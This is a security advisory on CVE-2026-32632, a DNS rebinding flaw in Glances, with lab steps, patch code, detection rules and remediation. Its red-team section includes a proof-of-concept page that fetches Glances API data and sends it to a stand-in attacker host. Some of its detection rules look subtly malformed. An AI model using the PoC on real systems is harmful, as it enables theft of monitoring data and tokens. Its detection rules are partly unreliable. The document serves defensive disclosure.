CVE-2026-32632

Executive Summary

CVE-2026-32632 is a medium-severity vulnerability in Glances, an open-source system cross-platform monitoring tool. The vulnerability allows DNS rebinding attacks against the main REST/WebUI FastAPI application. While DNS rebinding protection was recently added for the MCP endpoint, the core REST API, WebUI, and token endpoint remain vulnerable. An attacker can register a domain, trick a victim's browser into rebinding that domain to the Glances service, and then bypass same-origin policy to access sensitive monitoring data and perform actions on the Glances API. The vulnerability is distinct from previously reported CORS weaknesses, as DNS rebinding makes the malicious domain appear same-origin to the browser. The patch in version 4.5.2 introduces host header validation via TrustedHostMiddleware.

Supply Chain & Package Security

Glances is a Python package distributed via PyPI. The vulnerability affects the application's web server component, not the package supply chain itself. However, users should verify the integrity of their Glances installation and ensure they are using the official PyPI package. The patch is available in version 4.5.2, which should be obtained from the official PyPI repository or the GitHub releases page.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is conducted over the network.
• Attack Complexity (AC): High (H) - The attacker must control a domain and trick a victim into visiting it while the victim has network access to a Glances instance.
• Privileges Required (PR): None (N) - No authentication is required to exploit the vulnerability.
• User Interaction (UI): Required (R) - The victim must visit the attacker's malicious domain.
• Scope (S): Unchanged (U) - The vulnerable component and the attacker's domain are in different security authorities, but the impact is confined to the Glances application.
• Confidentiality (C): High (H) - The attacker can read all data accessible via the Glances API, including system metrics, configuration, and potentially sensitive information.
• Integrity (I): High (H) - The attacker can modify Glances configuration or perform actions via the API.
• Availability (A): None (N) - The attack does not directly impact availability.

CVSS Score: 5.9 (Medium)

Threat Level: Medium. Exploitation requires user interaction and specific network conditions, but the potential impact on confidentiality and integrity is high.

Deep Dive & Mechanics

The vulnerability stems from the Glances FastAPI application not validating the Host header in incoming HTTP requests. In a DNS rebinding attack, the attacker:

1. Registers a domain (e.g., attacker.com).
2. Sets the DNS TTL for attacker.com to a very low value (e.g., 0).
3. Tricks the victim into visiting http://attacker.com.
4. The victim's browser loads a malicious page from attacker.com.
5. The malicious page makes a request to http://attacker.com/api/... (or similar).
6. The attacker's DNS server initially responds with the attacker's IP, but then quickly changes the response to the internal IP of the Glances service (e.g., 192.168.1.100).
7. The victim's browser, having already resolved attacker.com to the Glances IP, sends the request directly to the Glances service.
8. The Glances service sees the Host header as attacker.com and processes the request.
9. Because the browser considers attacker.com to be the origin (due to the rebinding), same-origin policy does not block the response, and the attacker's script can read the data.

The Glances REST API, WebUI, and token endpoint are all reachable through this technique. The token endpoint is particularly dangerous as it may allow the attacker to obtain authentication tokens.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.5.2):

The FastAPI application does not use TrustedHostMiddleware. The application accepts any Host header.

# Example of vulnerable code (conceptual)
from fastapi import FastAPI

app = FastAPI()

@app.get("/api/2/all")
async def get_all():
    # No host validation
    return {"cpu": ..., "memory": ...}

Patched Code (version 4.5.2):

The patch adds TrustedHostMiddleware to validate the Host header against a list of allowed hosts.

# Example of patched code (conceptual)
from fastapi import FastAPI
from fastapi.middleware.trustedhost import TrustedHostMiddleware

app = FastAPI()

app.add_middleware(
    TrustedHostMiddleware,
    allowed_hosts=["localhost", "127.0.0.1", "::1", "*.example.com"]  # Example allowlist
)

@app.get("/api/2/all")
async def get_all():
    return {"cpu": ..., "memory": ...}

The exact implementation may vary, but the core change is the introduction of host header validation.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Victim Machine: A machine with Glances running (vulnerable version < 4.5.2) on a local network (e.g., 192.168.1.100:61208).
2. Attacker Machine: A machine with a public IP and a registered domain (e.g., evil.com). The attacker controls the DNS for evil.com.
3. Victim Browser: A browser on the same network as the Glances instance.

Exploitation Steps:

1. Configure DNS for evil.com with a very low TTL (e.g., 0). Initially point to the attacker's IP.
2. Create a malicious HTML page that:
   • Makes a request to http://evil.com/api/2/all (or any Glances API endpoint).
   • After a short delay, the DNS for evil.com is changed to point to 192.168.1.100.
   • The browser's DNS cache expires, and the next request goes to the Glances instance.
3. Host the malicious page on the attacker's server.
4. Send the victim a link to http://evil.com/malicious.html.
5. When the victim visits the page, the script executes, and the attacker can read the Glances API response.

Example Malicious HTML (Conceptual):

<!DOCTYPE html>
<html>
<head>
    <title>DNS Rebinding PoC</title>
</head>
<body>
    <script>
        async function exploit() {
            // Wait for DNS rebinding to take effect
            await new Promise(resolve => setTimeout(resolve, 5000));
            try {
                let response = await fetch('http://evil.com/api/2/all');
                let data = await response.json();
                // Exfiltrate data
                fetch('http://attacker.com/exfil?data=' + encodeURIComponent(JSON.stringify(data)));
            } catch (e) {
                console.error('Exploit failed:', e);
            }
        }
        exploit();
    </script>
</body>
</html>

Blue Team

Detection:

1. Monitor for unusual Host headers in Glances access logs. Legitimate requests should have Host headers matching the expected server name or IP.
2. Look for requests with Host headers that are not in the allowlist.
3. Monitor for rapid DNS changes for domains that are accessing the Glances service.
4. Use network monitoring to detect connections from internal IPs to external domains that then quickly change to internal IPs.

Prevention:

1. Immediately upgrade to Glances 4.5.2 or later.
2. If upgrading is not possible, implement a reverse proxy (e.g., Nginx, Apache) in front of Glances that validates the Host header.
3. Restrict network access to the Glances service using a firewall. Only allow trusted IPs.
4. Use a Web Application Firewall (WAF) to detect and block DNS rebinding attacks.
5. Educate users about the risks of clicking on untrusted links.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to Glances with unexpected Host headers.
  • DNS queries for domains with very low TTL values that resolve to internal IPs.
  • Connections from internal IPs to external domains that quickly change to internal IPs.
• Logs:
  • Glances access logs showing requests with Host headers not matching the expected server name.
  • Unusual API calls to /api/2/all, /api/2/token, or other endpoints from unexpected origins.
• System:
  • Unauthorized changes to Glances configuration.
  • Unexpected data exfiltration from the Glances API.

Detection Engineering

YARA Rule

rule Detect_Glances_DNS_Rebinding_Exploit {
    meta:
        description = "Detects DNS rebinding attempts against Glances by looking for unusual Host headers in HTTP requests"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-32632"
        severity = "medium"
    strings:
        $host_header = /Host:\s*(?!localhost|127\.0\.0\.1|::1|\.example\.com)[^\r\n]+/i
        $glances_api = /\/api\/2\//
        $glances_webui = /\/static\//
    condition:
        $glances_api or $glances_webui and $host_header
}

Sigma Rule

title: Glances DNS Rebinding Attack Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to Glances with suspicious Host headers indicative of DNS rebinding
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32632
logsource:
    category: webserver
    product: glances
detection:
    selection:
        cs-host|contains:
            - 'evil.com'
            - 'attacker.com'
            - 'malicious.net'
        cs-uri-stem|startswith:
            - '/api/2/'
            - '/static/'
    condition: selection
falsepositives:
    - Legitimate reverse proxy configurations
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-32632 - Glances DNS Rebinding Attempt"; flow:to_server; content:"Host|3a|"; nocase; pcre:"/Host:\s*(?!localhost|127\.0\.0\.1|::1)[^\r\n]+/i"; content:"/api/2/"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Glances to version 4.5.2 or later. This is the official patch that adds TrustedHostMiddleware.
2. If an immediate upgrade is not possible, implement a reverse proxy (e.g., Nginx, Apache) that validates the Host header before forwarding requests to Glances.
3. Restrict network access to the Glances service using a firewall. Only allow trusted IPs and networks.

Long-Term Mitigations:

1. Implement network segmentation to isolate monitoring tools from user-facing networks.
2. Use a Web Application Firewall (WAF) with rules to detect and block DNS rebinding attacks.
3. Regularly update all software components, including Glances and its dependencies.
4. Monitor for unusual DNS activity and HTTP requests with unexpected Host headers.
5. Educate users about the risks of clicking on untrusted links and the importance of browser security.

Workaround: If upgrading is not possible, you can manually add TrustedHostMiddleware to the Glances FastAPI application by modifying the source code. However, this is not recommended as it may introduce other issues. The safest approach is to upgrade.

Valters IT
Securing Your Digital Frontier